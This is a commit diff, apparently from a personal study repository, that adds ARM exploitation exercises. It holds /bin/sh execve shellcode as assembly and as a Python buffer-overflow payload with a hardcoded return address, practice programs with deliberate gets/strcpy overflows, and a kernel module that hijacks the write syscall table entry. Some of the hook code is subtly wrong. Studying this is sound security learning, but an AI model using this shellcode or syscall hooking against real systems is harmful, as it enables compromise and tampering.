Showing
74 changed files
with
618 additions
and
0 deletions
ArmExploitation/RTL/exploit
0 → 100755
No preview for this file type
ArmExploitation/RTL/exploit.c
0 → 100644
ArmExploitation/RTL/input.py
0 → 100644
1 | +import struct | ||
2 | +f = open("input.text",'wb') | ||
3 | + | ||
4 | +i = int(input()) | ||
5 | + | ||
6 | +if(i == 0): | ||
7 | + msg = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'" + b'\x64'*23 + b"\xc8\xf3\xff\x7e" | ||
8 | + | ||
9 | + | ||
10 | +else: | ||
11 | + msg = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'" + b'\x64'*23 + b"\xe8\x63\xfb\x7e" | ||
12 | + | ||
13 | +f.write(msg) | ||
14 | +f.close() | ||
15 | +#f = open("input.text",'ab') | ||
16 | + | ||
17 | +#n = input() | ||
18 | +#add = int(n,16) | ||
19 | +#print(add) | ||
20 | +#addr = struct.pack('<L',add) | ||
21 | +#f.write(addr) | ||
22 | +#f.close() | ||
23 | + |
ArmExploitation/cyclic
0 → 100755
No preview for this file type
ArmExploitation/cyclic.c
0 → 100644
1 | +#include <stdio.h> | ||
2 | + | ||
3 | + | ||
4 | +int main(int argc, char* argv[]){ | ||
5 | + | ||
6 | + int len=0; | ||
7 | + int i =0; | ||
8 | + while(argv[1][i]<='9'&&argv[1][i]>='0'){ | ||
9 | + | ||
10 | + len += argv[1][i]-48; | ||
11 | + len *= 10; | ||
12 | + i++; | ||
13 | + } | ||
14 | + len /= 10; | ||
15 | + printf("%d\n",len); | ||
16 | + while(len-->0){ | ||
17 | + putc('0',stdout); | ||
18 | + } | ||
19 | + printf("\n"); | ||
20 | + | ||
21 | +} |
ArmExploitation/exec
0 → 100755
No preview for this file type
ArmExploitation/exec.c
0 → 100644
1 | +#include <stdio.h> | ||
2 | +#include <string.h> | ||
3 | +#include <err.h> | ||
4 | +#include <stdlib.h> | ||
5 | + | ||
6 | +char buf[2048]; | ||
7 | + | ||
8 | +int main() | ||
9 | +{ | ||
10 | + if (!fgets(buf, sizeof(buf), stdin)) | ||
11 | + err(1, "Too long input"); | ||
12 | + | ||
13 | + // a few info for debugging | ||
14 | + printf("> length: %d\n", (int)strlen(buf)); | ||
15 | + for (int i = 0; i < strlen(buf); i += 1) { | ||
16 | + if (i % 16 == 0) | ||
17 | + printf("> %04X: ", i); | ||
18 | + printf("%02X ", (unsigned char)buf[i]); | ||
19 | + if (i % 16 == 15) | ||
20 | + printf("\n"); | ||
21 | + } | ||
22 | + printf("\n"); | ||
23 | + | ||
24 | + (*(void (*)()) buf)(); | ||
25 | +} | ||
... | \ No newline at end of file | ... | \ No newline at end of file |
ArmExploitation/execve1.bin
0 → 100644
No preview for this file type
ArmExploitation/execve1.o
0 → 100644
No preview for this file type
ArmExploitation/execve1.s
0 → 100644
ArmExploitation/execve3
0 → 100755
No preview for this file type
ArmExploitation/execve3.bin
0 → 100644
No preview for this file type
ArmExploitation/execve3.o
0 → 100644
No preview for this file type
ArmExploitation/execve3.s
0 → 100644
1 | +.section .text | ||
2 | +.global _start | ||
3 | + | ||
4 | +_start: | ||
5 | + .code 32 | ||
6 | + add r3, pc, #1 | ||
7 | + bx r3 | ||
8 | + | ||
9 | + .code 16 | ||
10 | + add r0, pc, #8 | ||
11 | + eor r1, r1, r1 | ||
12 | + eor r2, r2, r2 | ||
13 | + strb r2, [r0, #7] | ||
14 | + mov r7, #11 | ||
15 | + svc #1 | ||
16 | + | ||
17 | +.ascii "/bin/shx" | ||
... | \ No newline at end of file | ... | \ No newline at end of file |
ArmExploitation/exploit
0 → 100755
No preview for this file type
ArmExploitation/exploit.c
0 → 100644
ArmExploitation/input.py
0 → 100644
1 | +import struct | ||
2 | +f = open("input.text",'wb') | ||
3 | + | ||
4 | +i = int(input()) | ||
5 | + | ||
6 | +if(i == 0): | ||
7 | + msg = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'" + b'\x64'*23 + b"\xc8\xf3\xff\x7e" | ||
8 | + | ||
9 | + | ||
10 | +else: | ||
11 | + msg = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78'" + b'\x64'*23 + b"\xe8\x63\xfb\x7e" | ||
12 | + | ||
13 | +f.write(msg) | ||
14 | +f.close() | ||
15 | +#f = open("input.text",'ab') | ||
16 | + | ||
17 | +#n = input() | ||
18 | +#add = int(n,16) | ||
19 | +#print(add) | ||
20 | +#addr = struct.pack('<L',add) | ||
21 | +#f.write(addr) | ||
22 | +#f.close() | ||
23 | + |
ArmExploitation/input.text
0 → 100644
No preview for this file type
ArmExploitation/mod
0 → 100755
No preview for this file type
ArmExploitation/mod.c
0 → 100644
1 | +#include<stdlib.h> | ||
2 | +#include<unistd.h> | ||
3 | +#include<stdio.h> | ||
4 | + | ||
5 | +int main(int argc, char **argv){ | ||
6 | + volatile int modified; | ||
7 | + char buffer[64]; | ||
8 | + | ||
9 | + modified = 0; | ||
10 | + gets(buffer); | ||
11 | + | ||
12 | + if(modified != 0){ | ||
13 | + printf("success!\n"); | ||
14 | + } | ||
15 | + else{ | ||
16 | + printf("try again!\n"); | ||
17 | + } | ||
18 | +} | ||
19 | + | ||
20 | + | ||
21 | + | ||
22 | + |
ArmExploitation/mod1
0 → 100755
No preview for this file type
ArmExploitation/mod1.c
0 → 100644
1 | +#include<stdlib.h> | ||
2 | +#include<unistd.h> | ||
3 | +#include<stdio.h> | ||
4 | +#include<string.h> | ||
5 | +#include<err.h> | ||
6 | + | ||
7 | +int main(int argc, char **argv){ | ||
8 | + volatile int modified; | ||
9 | + char buffer[64]; | ||
10 | + | ||
11 | + if(argc != 2){ | ||
12 | + perror("argc"); | ||
13 | + } | ||
14 | + | ||
15 | + modified = 0; | ||
16 | + strcpy(buffer,argv[1]); | ||
17 | + if(modified == 0x61626364){ | ||
18 | + printf("success!\n"); | ||
19 | + } | ||
20 | + else{ | ||
21 | + printf("try again!, you got 0x%08x\n",modified); | ||
22 | + } | ||
23 | +} | ||
24 | + | ||
25 | + | ||
26 | + | ||
27 | + |
ArmExploitation/system
0 → 100755
No preview for this file type
ArmExploitation/system.c
0 → 100644
ArmExploitation/test
0 → 100644
1 | +hello |
hooking/Makefile
0 → 100644
1 | +export APP_NAME=hello_world | ||
2 | +export MOD_NAME=hooker | ||
3 | + | ||
4 | +PWD=$(shell pwd) | ||
5 | +APP_PATH=$(PWD)/d$(APP_NAME) | ||
6 | +MOD_PATH=$(PWD)/d$(MOD_NAME) | ||
7 | + | ||
8 | +all: $(MOD_NAME) $(APP_NAME) | ||
9 | + | ||
10 | +$(MOD_NAME): | ||
11 | + $(MAKE) -C $(MOD_PATH) | ||
12 | + mv $(MOD_PATH)/$@.ko $(PWD) | ||
13 | + | ||
14 | +$(APP_NAME): | ||
15 | + $(MAKE) -C $(APP_PATH) | ||
16 | + mv $(APP_PATH)/$@ $(PWD) | ||
17 | + | ||
18 | +clean: | ||
19 | + $(RM) $(PWD)/$(MOD_NAME).ko | ||
20 | + $(RM) $(PWD)/$(APP_NAME) | ||
21 | + arm-linux-gnueabihf-gcc -C $(MOD_PATH) clean | ||
22 | + arm-linux-gnueabihf-gcc -C $(APP_PATH) clean |
hooking/dhello_world/Makefile
0 → 100644
hooking/dhello_world/hello_world.c
0 → 100644
hooking/dhooker/.hooker.ko.cmd
0 → 100644
1 | +cmd_/root/hooking/dhooker/hooker.ko := arm-linux-gnueabihf-ld -EL -r -T ./scripts/module-common.lds --build-id -o /root/hooking/dhooker/hooker.ko /root/hooking/dhooker/hooker.o /root/hooking/dhooker/hooker.mod.o |
hooking/dhooker/.hooker.mod.o.cmd
0 → 100644
This diff is collapsed. Click to expand it.
hooking/dhooker/.hooker.o.cmd
0 → 100644
This diff is collapsed. Click to expand it.
hooking/dhooker/.tmp_versions/hooker.mod
0 → 100644
hooking/dhooker/Makefile
0 → 100644
hooking/dhooker/Module.symvers
0 → 100644
File mode changed
hooking/dhooker/hooker.c
0 → 100644
1 | +#include <linux/kernel.h> | ||
2 | +#include <linux/module.h> | ||
3 | +#include <linux/syscalls.h> | ||
4 | +#include <linux/string.h> | ||
5 | + | ||
6 | +#define SYSCALL_TABLE_BASE_ADDR (0x8000fc28) | ||
7 | +#define MANAGER_PERMISSION (0xff) | ||
8 | + | ||
9 | +unsigned int ** g_puSysTableAddr = (unsigned int**) SYSCALL_TABLE_BASE_ADDR; | ||
10 | +unsigned int g_uPrevAP = 0x00; | ||
11 | +unsigned int g_uNewAP = MANAGER_PERMISSION; | ||
12 | +unsigned int (* sys_write_orig)(int fd, char *byf, size_t count); | ||
13 | + | ||
14 | +//sys_write_orig() 호출 전 pBuF의 내용 수정 | ||
15 | +unsigned int sys_write_hooked(int nFD, char *pBuf, size_t nCnt){ | ||
16 | + | ||
17 | + if(nFD == 1){ | ||
18 | + memset(pBuf, 0, nCnt); | ||
19 | + strcpy(pBuf, "Hacked!!!\n"); | ||
20 | + return sys_write_orig(nFD,pBuf, nCnt); | ||
21 | + } | ||
22 | + else{ | ||
23 | + return sys_write_orig(nFD,pBuf, nCnt); | ||
24 | + } | ||
25 | + | ||
26 | +} | ||
27 | + | ||
28 | +int __init Hook_Init(void){ | ||
29 | + sys_write_orig = (void *)g_puSysTableAddr[__NR_write]; | ||
30 | + | ||
31 | + __asm__ __volatile__("mrc p15, 0, %0, c3, c0" : "=r"(g_uPrevAP)); | ||
32 | + __asm__ __volatile__("mrc p15, 0, %0, c3, c0" : : "r"(g_uNewAP)); | ||
33 | + | ||
34 | + g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_hooked; | ||
35 | + | ||
36 | + __asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP)); | ||
37 | + return 0; | ||
38 | +} | ||
39 | + | ||
40 | +void __exit Hook_Exit(void){ | ||
41 | + __asm__ __volatile__("mrc p15,0, %0, c3,c0" : "=r"(g_uPrevAP)); | ||
42 | + __asm__ __volatile__("mcr p15, 0, %0, c3, c0" : :"r"(g_uNewAP)); | ||
43 | + | ||
44 | + g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_orig; | ||
45 | + | ||
46 | + __asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP)); | ||
47 | +} | ||
48 | + | ||
49 | +module_init(Hook_Init); | ||
50 | +module_exit(Hook_Exit); |
hooking/dhooker/hooker.mod.c
0 → 100644
1 | +#include <linux/module.h> | ||
2 | +#include <linux/vermagic.h> | ||
3 | +#include <linux/compiler.h> | ||
4 | + | ||
5 | +MODULE_INFO(vermagic, VERMAGIC_STRING); | ||
6 | + | ||
7 | +__visible struct module __this_module | ||
8 | +__attribute__((section(".gnu.linkonce.this_module"))) = { | ||
9 | + .name = KBUILD_MODNAME, | ||
10 | + .init = init_module, | ||
11 | +#ifdef CONFIG_MODULE_UNLOAD | ||
12 | + .exit = cleanup_module, | ||
13 | +#endif | ||
14 | + .arch = MODULE_ARCH_INIT, | ||
15 | +}; | ||
16 | + | ||
17 | +static const struct modversion_info ____versions[] | ||
18 | +__used | ||
19 | +__attribute__((section("__versions"))) = { | ||
20 | + { 0xb344870e, __VMLINUX_SYMBOL_STR(module_layout) }, | ||
21 | + { 0x2e5810c6, __VMLINUX_SYMBOL_STR(__aeabi_unwind_cpp_pr1) }, | ||
22 | + { 0xfa2a45e, __VMLINUX_SYMBOL_STR(__memzero) }, | ||
23 | + { 0xb1ad28e0, __VMLINUX_SYMBOL_STR(__gnu_mcount_nc) }, | ||
24 | +}; | ||
25 | + | ||
26 | +static const char __module_depends[] | ||
27 | +__used | ||
28 | +__attribute__((section(".modinfo"))) = | ||
29 | +"depends="; | ||
30 | + | ||
31 | + | ||
32 | +MODULE_INFO(srcversion, "2DEEDF502E82CB7C5A221F0"); |
hooking/dhooker/hooker.mod.o
0 → 100644
No preview for this file type
hooking/dhooker/hooker.o
0 → 100644
No preview for this file type
hooking/dhooker/modules.order
0 → 100644
1 | +kernel//root/hooking/dhooker/hooker.ko |
No preview for this file type
hooking/hooker.ko
0 → 100644
No preview for this file type
hooking_prac/Makefile
0 → 100644
1 | +export APP_NAME=hello_world | ||
2 | +export MOD_NAME=hooker | ||
3 | + | ||
4 | +PWD=$(shell pwd) | ||
5 | +APP_PATH=$(PWD)/d$(APP_NAME) | ||
6 | +MOD_PATH=$(PWD)/d$(MOD_NAME) | ||
7 | + | ||
8 | +all: $(MOD_NAME) $(APP_NAME) | ||
9 | + | ||
10 | +$(MOD_NAME): | ||
11 | + $(MAKE) -C $(MOD_PATH) | ||
12 | + mv $(MOD_PATH)/$@.ko $(PWD) | ||
13 | + | ||
14 | +$(APP_NAME): | ||
15 | + $(MAKE) -C $(APP_PATH) | ||
16 | + mv $(APP_PATH)/$@ $(PWD) | ||
17 | + | ||
18 | +clean: | ||
19 | + $(RM) $(PWD)/$(MOD_NAME).ko | ||
20 | + $(RM) $(PWD)/$(APP_NAME) | ||
21 | + arm-linux-gnueabihf-gcc -C $(MOD_PATH) clean | ||
22 | + arm-linux-gnueabihf-gcc -C $(APP_PATH) clean |
hooking_prac/dhello_world/Makefile
0 → 100644
hooking_prac/dhello_world/hello_world.c
0 → 100644
hooking_prac/dhooker/.hooker.ko.cmd
0 → 100644
1 | +cmd_/root/hooking/dhooker/hooker.ko := arm-linux-gnueabihf-ld -EL -r -T ./scripts/module-common.lds --build-id -o /root/hooking/dhooker/hooker.ko /root/hooking/dhooker/hooker.o /root/hooking/dhooker/hooker.mod.o |
hooking_prac/dhooker/.hooker.mod.o.cmd
0 → 100644
This diff is collapsed. Click to expand it.
hooking_prac/dhooker/.hooker.o.cmd
0 → 100644
This diff is collapsed. Click to expand it.
hooking_prac/dhooker/Makefile
0 → 100644
hooking_prac/dhooker/Module.symvers
0 → 100644
File mode changed
hooking_prac/dhooker/hooker.c
0 → 100644
1 | +#include <linux/kernel.h> | ||
2 | +#include <linux/module.h> | ||
3 | +#include <linux/syscalls.h> | ||
4 | +#include <linux/string.h> | ||
5 | + | ||
6 | +#define SYSCALL_TABLE_BASE_ADDR (0x8000fc28) | ||
7 | +#define MANAGER_PERMISSION (0xff) | ||
8 | + | ||
9 | +unsigned int ** g_puSysTableAddr = (unsigned int**) SYSCALL_TABLE_BASE_ADDR; | ||
10 | +unsigned int g_uPrevAP = 0x00; | ||
11 | +unsigned int g_uNewAP = MANAGER_PERMISSION; | ||
12 | +unsigned int (* sys_write_orig)(int fd, char *byf, size_t count); | ||
13 | + | ||
14 | +//sys_write_orig() 호출 전 pBuF의 내용 수정 | ||
15 | +unsigned int sys_write_hooked(int nFD, char *pBuf, size_t nCnt){ | ||
16 | + | ||
17 | + if(current->comm == "hello_world" && nFD == 1){ | ||
18 | + memset(pBuf, 0, nCnt); | ||
19 | + strcpy(pBuf, "Hacked!!!\n"); | ||
20 | + return sys_write_orig(nFD,pBuf, nCnt); | ||
21 | + } | ||
22 | + else{ | ||
23 | + return sys_write_orig(nFD,pBuf, nCnt); | ||
24 | + } | ||
25 | + | ||
26 | +} | ||
27 | + | ||
28 | +int __init Hook_Init(void){ | ||
29 | + sys_write_orig = (void *)g_puSysTableAddr[__NR_write]; | ||
30 | + | ||
31 | + __asm__ __volatile__("mrc p15, 0, %0, c3, c0" : "=r"(g_uPrevAP)); | ||
32 | + __asm__ __volatile__("mrc p15, 0, %0, c3, c0" : : "r"(g_uNewAP)); | ||
33 | + | ||
34 | + g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_hooked; | ||
35 | + | ||
36 | + __asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP)); | ||
37 | + return 0; | ||
38 | +} | ||
39 | + | ||
40 | +void __exit Hook_Exit(void){ | ||
41 | + __asm__ __volatile__("mrc p15,0, %0, c3,c0" : "=r"(g_uPrevAP)); | ||
42 | + __asm__ __volatile__("mcr p15, 0, %0, c3, c0" : :"r"(g_uNewAP)); | ||
43 | + | ||
44 | + g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_orig; | ||
45 | + | ||
46 | + __asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP)); | ||
47 | +} | ||
48 | + | ||
49 | +module_init(Hook_Init); | ||
50 | +module_exit(Hook_Exit); |
hooking_prac/dhooker/hooker.mod.c
0 → 100644
1 | +#include <linux/module.h> | ||
2 | +#include <linux/vermagic.h> | ||
3 | +#include <linux/compiler.h> | ||
4 | + | ||
5 | +MODULE_INFO(vermagic, VERMAGIC_STRING); | ||
6 | + | ||
7 | +__visible struct module __this_module | ||
8 | +__attribute__((section(".gnu.linkonce.this_module"))) = { | ||
9 | + .name = KBUILD_MODNAME, | ||
10 | + .init = init_module, | ||
11 | +#ifdef CONFIG_MODULE_UNLOAD | ||
12 | + .exit = cleanup_module, | ||
13 | +#endif | ||
14 | + .arch = MODULE_ARCH_INIT, | ||
15 | +}; | ||
16 | + | ||
17 | +static const struct modversion_info ____versions[] | ||
18 | +__used | ||
19 | +__attribute__((section("__versions"))) = { | ||
20 | + { 0xb344870e, __VMLINUX_SYMBOL_STR(module_layout) }, | ||
21 | + { 0x2e5810c6, __VMLINUX_SYMBOL_STR(__aeabi_unwind_cpp_pr1) }, | ||
22 | + { 0xfa2a45e, __VMLINUX_SYMBOL_STR(__memzero) }, | ||
23 | + { 0xb1ad28e0, __VMLINUX_SYMBOL_STR(__gnu_mcount_nc) }, | ||
24 | +}; | ||
25 | + | ||
26 | +static const char __module_depends[] | ||
27 | +__used | ||
28 | +__attribute__((section(".modinfo"))) = | ||
29 | +"depends="; | ||
30 | + | ||
31 | + | ||
32 | +MODULE_INFO(srcversion, "D2F3FA25DCB0D285CB3AE41"); |
hooking_prac/dhooker/hooker.mod.o
0 → 100644
No preview for this file type
hooking_prac/dhooker/hooker.o
0 → 100644
No preview for this file type
hooking_prac/dhooker/modules.order
0 → 100644
1 | +kernel//root/hooking/dhooker/hooker.ko |
hooking_prac/hello_world
0 → 100755
No preview for this file type
hooking_prac/hooker.ko
0 → 100644
No preview for this file type
hooking_prac/hooking/Makefile
0 → 100644
1 | +export APP_NAME=hello_world | ||
2 | +export MOD_NAME=hooker | ||
3 | + | ||
4 | +PWD=$(shell pwd) | ||
5 | +APP_PATH=$(PWD)/d$(APP_NAME) | ||
6 | +MOD_PATH=$(PWD)/d$(MOD_NAME) | ||
7 | + | ||
8 | +all: $(MOD_NAME) $(APP_NAME) | ||
9 | + | ||
10 | +$(MOD_NAME): | ||
11 | + $(MAKE) -C $(MOD_PATH) | ||
12 | + mv $(MOD_PATH)/$@.ko $(PWD) | ||
13 | + | ||
14 | +$(APP_NAME): | ||
15 | + $(MAKE) -C $(APP_PATH) | ||
16 | + mv $(APP_PATH)/$@ $(PWD) | ||
17 | + | ||
18 | +clean: | ||
19 | + $(RM) $(PWD)/$(MOD_NAME).ko | ||
20 | + $(RM) $(PWD)/$(APP_NAME) | ||
21 | + arm-linux-gnueabihf-gcc -C $(MOD_PATH) clean | ||
22 | + arm-linux-gnueabihf-gcc -C $(APP_PATH) clean |
hooking_prac/hooking/dhello_world/Makefile
0 → 100644
hooking_prac/hooking/dhooker/.hooker.ko.cmd
0 → 100644
1 | +cmd_/root/hooking/dhooker/hooker.ko := arm-linux-gnueabihf-ld -EL -r -T ./scripts/module-common.lds --build-id -o /root/hooking/dhooker/hooker.ko /root/hooking/dhooker/hooker.o /root/hooking/dhooker/hooker.mod.o |
This diff is collapsed. Click to expand it.
hooking_prac/hooking/dhooker/.hooker.o.cmd
0 → 100644
This diff is collapsed. Click to expand it.
hooking_prac/hooking/dhooker/Makefile
0 → 100644
hooking_prac/hooking/dhooker/Module.symvers
0 → 100644
File mode changed
hooking_prac/hooking/dhooker/hooker.c
0 → 100644
1 | +#include <linux/kernel.h> | ||
2 | +#include <linux/module.h> | ||
3 | +#include <linux/syscalls.h> | ||
4 | +#include <linux/string.h> | ||
5 | + | ||
6 | +#define SYSCALL_TABLE_BASE_ADDR (0x8000fc28) | ||
7 | +#define MANAGER_PERMISSION (0xff) | ||
8 | + | ||
9 | +unsigned int ** g_puSysTableAddr = (unsigned int**) SYSCALL_TABLE_BASE_ADDR; | ||
10 | +unsigned int g_uPrevAP = 0x00; | ||
11 | +unsigned int g_uNewAP = MANAGER_PERMISSION; | ||
12 | +unsigned int (* sys_write_orig)(int fd, char *byf, size_t count); | ||
13 | + | ||
14 | +//sys_write_orig() 호출 전 pBuF의 내용 수정 | ||
15 | +unsigned int sys_write_hooked(int nFD, char *pBuf, size_t nCnt){ | ||
16 | + printk("current process name : %s\n",current->comm); | ||
17 | + if(current->comm == "hello_world" && nFD == 1){ | ||
18 | + memset(pBuf, 0, nCnt); | ||
19 | + strcpy(pBuf, "Hacked!!!\n"); | ||
20 | + return sys_write_orig(nFD,pBuf, nCnt); | ||
21 | + } | ||
22 | + else{ | ||
23 | + return sys_write_orig(nFD,pBuf, nCnt); | ||
24 | + } | ||
25 | + | ||
26 | +} | ||
27 | + | ||
28 | +int __init Hook_Init(void){ | ||
29 | + sys_write_orig = (void *)g_puSysTableAddr[__NR_write]; | ||
30 | + | ||
31 | + __asm__ __volatile__("mrc p15, 0, %0, c3, c0" : "=r"(g_uPrevAP)); | ||
32 | + __asm__ __volatile__("mrc p15, 0, %0, c3, c0" : : "r"(g_uNewAP)); | ||
33 | + | ||
34 | + g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_hooked; | ||
35 | + | ||
36 | + __asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP)); | ||
37 | + return 0; | ||
38 | +} | ||
39 | + | ||
40 | +void __exit Hook_Exit(void){ | ||
41 | + __asm__ __volatile__("mrc p15,0, %0, c3,c0" : "=r"(g_uPrevAP)); | ||
42 | + __asm__ __volatile__("mcr p15, 0, %0, c3, c0" : :"r"(g_uNewAP)); | ||
43 | + | ||
44 | + g_puSysTableAddr[__NR_write] = (unsigned int *) sys_write_orig; | ||
45 | + | ||
46 | + __asm__ __volatile__("mcr p15,0, %0, c3, c0" : :"r"(g_uPrevAP)); | ||
47 | +} | ||
48 | + | ||
49 | +module_init(Hook_Init); | ||
50 | +module_exit(Hook_Exit); |
hooking_prac/hooking/dhooker/hooker.mod.c
0 → 100644
1 | +#include <linux/module.h> | ||
2 | +#include <linux/vermagic.h> | ||
3 | +#include <linux/compiler.h> | ||
4 | + | ||
5 | +MODULE_INFO(vermagic, VERMAGIC_STRING); | ||
6 | + | ||
7 | +__visible struct module __this_module | ||
8 | +__attribute__((section(".gnu.linkonce.this_module"))) = { | ||
9 | + .name = KBUILD_MODNAME, | ||
10 | + .init = init_module, | ||
11 | +#ifdef CONFIG_MODULE_UNLOAD | ||
12 | + .exit = cleanup_module, | ||
13 | +#endif | ||
14 | + .arch = MODULE_ARCH_INIT, | ||
15 | +}; | ||
16 | + | ||
17 | +static const struct modversion_info ____versions[] | ||
18 | +__used | ||
19 | +__attribute__((section("__versions"))) = { | ||
20 | + { 0xb344870e, __VMLINUX_SYMBOL_STR(module_layout) }, | ||
21 | + { 0x2e5810c6, __VMLINUX_SYMBOL_STR(__aeabi_unwind_cpp_pr1) }, | ||
22 | + { 0xfa2a45e, __VMLINUX_SYMBOL_STR(__memzero) }, | ||
23 | + { 0x27e1a049, __VMLINUX_SYMBOL_STR(printk) }, | ||
24 | + { 0xb1ad28e0, __VMLINUX_SYMBOL_STR(__gnu_mcount_nc) }, | ||
25 | +}; | ||
26 | + | ||
27 | +static const char __module_depends[] | ||
28 | +__used | ||
29 | +__attribute__((section(".modinfo"))) = | ||
30 | +"depends="; | ||
31 | + | ||
32 | + | ||
33 | +MODULE_INFO(srcversion, "1041E4758432C86606FD67E"); |
hooking_prac/hooking/dhooker/hooker.mod.o
0 → 100644
No preview for this file type
hooking_prac/hooking/dhooker/hooker.o
0 → 100644
No preview for this file type
hooking_prac/hooking/dhooker/modules.order
0 → 100644
1 | +kernel//root/hooking/dhooker/hooker.ko |
hooking_prac/hooking/hello_world
0 → 100755
No preview for this file type
hooking_prac/hooking/hooker.ko
0 → 100644
No preview for this file type
-
Please register or login to post a comment